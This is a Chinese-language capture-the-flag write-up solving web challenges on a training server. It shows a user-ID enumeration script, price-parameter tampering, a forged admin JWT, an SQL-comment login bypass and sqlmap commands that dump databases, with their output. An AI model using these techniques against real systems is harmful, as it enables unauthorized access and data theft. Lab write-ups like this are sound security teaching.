TAIWAN HolyYoung Training 5/18 -> WEB

Find GET Method

題目要求你找到header 所以只要用curl去抓就好輸入curl -i -X HEAD http://isip-ctf.tyc4d.tw:8007/

FLAG: FLAG{Now_u_k0nw_g3t_method_32rfwk}

Find POST Method

依據提示是request parmater 進到登入頁面隨便填後送出就行

FLAG:FLAG{i_f0und_ure_s3cret_post_form_wqd2ed}

Mystery Header ?

題目說到瀏覽器是如何記住你登入過的呢？，那就看看登入的時候會有什麼有了這個

FLAG:Set-Cookie

May I have the free point ?

進入後會看到是沒有連結前往FLAG購買的那就看url的大概規則，是在買喀Point的前一個，所以就是在5431-1的地方確實冒出來了

FLAG:FLAG{BrokenAccessControl_STEP1_Parameter_e32dwqd}

Free point for me ?

接著上題，會發現自己的錢不夠買，中途攔下後修改扣除的金額把cost改成負的就可以了到my order中查看確實已購買

FLAG:FLAG{BrokenAccessControl_STEP2_Parameter_e3dwdwd}

You can’t see me

進入後會看到許多名冊，前往後會被快速切換，用burp suite攔截就好攔截到其中一頁會發現

FLAG:FLAG{You_saw_me_dwqxx!!!}

Where is Edward

在url中發現有很多user以及對應的數字我一開始是想要用python去做request然後看返回的是不是有明確的html結構且不是顯示User not found 以下是python腳本

1
import requests
2

3
def scan_links_in_range(start, end):
4
    base_url = "http://isip-ctf.tyc4d.tw:8001/user/"
5
    for i in range(start, end+1):
6
        link = base_url + str(i)
7
        response = requests.get(link)
8
        if response.status_code == 200:
9
            if response.content:
10
                print(f"{link}有\n{response.text}")
11
        else:
12
            print(f"沒找到{link}.")
13

14
start = 1
15
end = 10000
16
scan_links_in_range(start, end)

突然跳出說明Edward在1022處

FLAG:FLAG{My_English_N4m3}

Fix My Blog …

到proxy中的Match and replace rules即可出來了

FLAG:FLAG{bs_m4tch_and_r391eace}

到登入頁面的html標籤中發現測試帳號僅被註釋掉而已登入測試帳號之後我們必須提升到admin才可以會發現jwt的cookie 到jwt.io中發現其中的資訊是guest 在robots.txt中有所需的key 將其輸入在下方後並將guest修改為admin即可

修改後為eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.H-x71CQ_xp70XDUQPpM7iRo1XDfoH7R3bGOZmQ9941o

取代掉原先cookie的值即可就進去了

FLAG:FLAG{g1t_l3ak_and_cooki3_dewcw}

Welcome2SQL

整個畫面中會發現sql提取的架構只要將password註釋掉即可

FLAG:FLAG{W31c0me_2_SQLi_dqwd2ew}

Dump All Data!

sqlmap -u "http://isip-ctf.tyc4d.tw:8056/index.php" --tables --columns 先用sqlmap搜尋到底有什麼database以及table，卻發現要You are advised to rerun with '--forms --crawl=2' 之後就知道總共有這些了

1
Database: information_schema
2
[59 tables]
3
+----------------------------------------------------+
4
| CHARACTER_SETS                                     |
5
| COLLATIONS                                         |
6
| COLLATION_CHARACTER_SET_APPLICABILITY              |
7
| COLUMN_PRIVILEGES                                  |
8
| FILES                                              |
9
| GLOBAL_STATUS                                      |
10
| GLOBAL_VARIABLES                                   |
11
| INNODB_BUFFER_PAGE                                 |
12
| INNODB_BUFFER_PAGE_LRU                             |
13
| INNODB_BUFFER_POOL_STATS                           |
14
| INNODB_CMP                                         |
15
| INNODB_CMPMEM                                      |
16
| INNODB_CMPMEM_RESET                                |
17
| INNODB_CMP_PER_INDEX                               |
18
| INNODB_CMP_PER_INDEX_RESET                         |
19
| INNODB_CMP_RESET                                   |
20
| INNODB_FT_BEING_DELETED                            |
21
| INNODB_FT_CONFIG                                   |
22
| INNODB_FT_DEFAULT_STOPWORD                         |
23
| INNODB_FT_DELETED                                  |
24
| INNODB_FT_INDEX_CACHE                              |
25
| INNODB_FT_INDEX_TABLE                              |
26
| INNODB_LOCKS                                       |
27
| INNODB_LOCK_WAITS                                  |
28
| INNODB_METRICS                                     |
29
| INNODB_SYS_COLUMNS                                 |
30
| INNODB_SYS_DATAFILES                               |
31
| INNODB_SYS_FIELDS                                  |
32
| INNODB_SYS_FOREIGN                                 |
33
| INNODB_SYS_FOREIGN_COLS                            |
34
| INNODB_SYS_INDEXES                                 |
35
| INNODB_SYS_TABLES                                  |
36
| INNODB_SYS_TABLESPACES                             |
37
| INNODB_SYS_TABLESTATS                              |
38
| INNODB_TRX                                         |
39
| KEY_COLUMN_USAGE                                   |
40
| OPTIMIZER_TRACE                                    |
41
| PARAMETERS                                         |
42
| PROFILING                                          |
43
| REFERENTIAL_CONSTRAINTS                            |
44
| ROUTINES                                           |
45
| SCHEMATA                                           |
46
| SCHEMA_PRIVILEGES                                  |
47
| SESSION_STATUS                                     |
48
| SESSION_VARIABLES                                  |
49
| STATISTICS                                         |
50
| TABLESPACES                                        |
51
| TABLE_CONSTRAINTS                                  |
52
| TABLE_PRIVILEGES                                   |
53
| USER_PRIVILEGES                                    |
54
| VIEWS                                              |
55
| COLUMNS                                            |
56
| ENGINES                                            |
57
| EVENTS                                             |
58
| PARTITIONS                                         |
59
| PLUGINS                                            |
60
| PROCESSLIST                                        |
61
| TABLES                                             |
62
| TRIGGERS                                           |
63
+----------------------------------------------------+
64

65
Database: customer_database
66
[2 tables]
67
+----------------------------------------------------+
68
| flag_table                                         |
69
| user_info                                          |
70
+----------------------------------------------------+
71

72
Database: mysql
73
[28 tables]
74
+----------------------------------------------------+
75
| event                                              |
76
| plugin                                             |
77
| user                                               |
78
| columns_priv                                       |
79
| db                                                 |
80
| func                                               |
81
| general_log                                        |
82
| help_category                                      |
83
| help_keyword                                       |
84
| help_relation                                      |
85
| help_topic                                         |
86
| innodb_index_stats                                 |
87
| innodb_table_stats                                 |
88
| ndb_binlog_index                                   |
89
| proc                                               |
90
| procs_priv                                         |
91
| proxies_priv                                       |
92
| servers                                            |
93
| slave_master_info                                  |
94
| slave_relay_log_info                               |
95
| slave_worker_info                                  |
96
| slow_log                                           |
97
| tables_priv                                        |
98
| time_zone                                          |
99
| time_zone_leap_second                              |
100
| time_zone_name                                     |
101
| time_zone_transition                               |
102
| time_zone_transition_type                          |
103
+----------------------------------------------------+
104

105
Database: performance_schema
106
[52 tables]
107
+----------------------------------------------------+
108
| hosts                                              |
109
| accounts                                           |
110
| cond_instances                                     |
111
| events_stages_current                              |
112
| events_stages_history                              |
113
| events_stages_history_long                         |
114
| events_stages_summary_by_account_by_event_name     |
115
| events_stages_summary_by_host_by_event_name        |
116
| events_stages_summary_by_thread_by_event_name      |
117
| events_stages_summary_by_user_by_event_name        |
118
| events_stages_summary_global_by_event_name         |
119
| events_statements_current                          |
120
| events_statements_history                          |
121
| events_statements_history_long                     |
122
| events_statements_summary_by_account_by_event_name |
123
| events_statements_summary_by_digest                |
124
| events_statements_summary_by_host_by_event_name    |
125
| events_statements_summary_by_thread_by_event_name  |
126
| events_statements_summary_by_user_by_event_name    |
127
| events_statements_summary_global_by_event_name     |
128
| events_waits_current                               |
129
| events_waits_history                               |
130
| events_waits_history_long                          |
131
| events_waits_summary_by_account_by_event_name      |
132
| events_waits_summary_by_host_by_event_name         |
133
| events_waits_summary_by_instance                   |
134
| events_waits_summary_by_thread_by_event_name       |
135
| events_waits_summary_by_user_by_event_name         |
136
| events_waits_summary_global_by_event_name          |
137
| file_instances                                     |
138
| file_summary_by_event_name                         |
139
| file_summary_by_instance                           |
140
| host_cache                                         |
141
| mutex_instances                                    |
142
| objects_summary_global_by_type                     |
143
| performance_timers                                 |
144
| rwlock_instances                                   |
145
| session_account_connect_attrs                      |
146
| session_connect_attrs                              |
147
| setup_actors                                       |
148
| setup_consumers                                    |
149
| setup_instruments                                  |
150
| setup_objects                                      |
151
| setup_timers                                       |
152
| socket_instances                                   |
153
| socket_summary_by_event_name                       |
154
| socket_summary_by_instance                         |
155
| table_io_waits_summary_by_index_usage              |
156
| table_io_waits_summary_by_table                    |
157
| table_lock_waits_summary_by_table                  |
158
| threads                                            |
159
| users                                              |
160
+----------------------------------------------------+
161

162
Database: shop_database
163
[1 table]
164
+----------------------------------------------------+
165
| tblproduct                                         |
166
+----------------------------------------------------+

而我們要找到客戶的資料，看起來就像在customer_database中的user-info，有了目標就可以用sqlmap繼續了

輸入sqlmap -u "http://isip-ctf.tyc4d.tw:8056/index.php" --forms --crawl=2 --tables -D customer_database --dump -T user-info 發現在765

FLAG:FLAG{n0w_y0u_know_sqlmap}

WHERE are you (Shopping Cart)

而我們要尋找架上的東東看起來就在shop_database中的tblproduct 印出即可sqlmap -u "http://isip-ctf.tyc4d.tw:8056/index.php" --forms --crawl=2 --tables -D shop_database --dump -T tblproduct 這樣子就出來了 FLAG:FLAG{Th3_secret_0f_wh3r3_5tatement}

Infomation_Sc…?

題目都告訴你要在table flag_table中找有幾個varchar類型的 sqlmap -u "http://isip-ctf.tyc4d.tw:8056/index.php" --forms --crawl=2 -D customer_database -T flag_table --columns 會看到共有兩種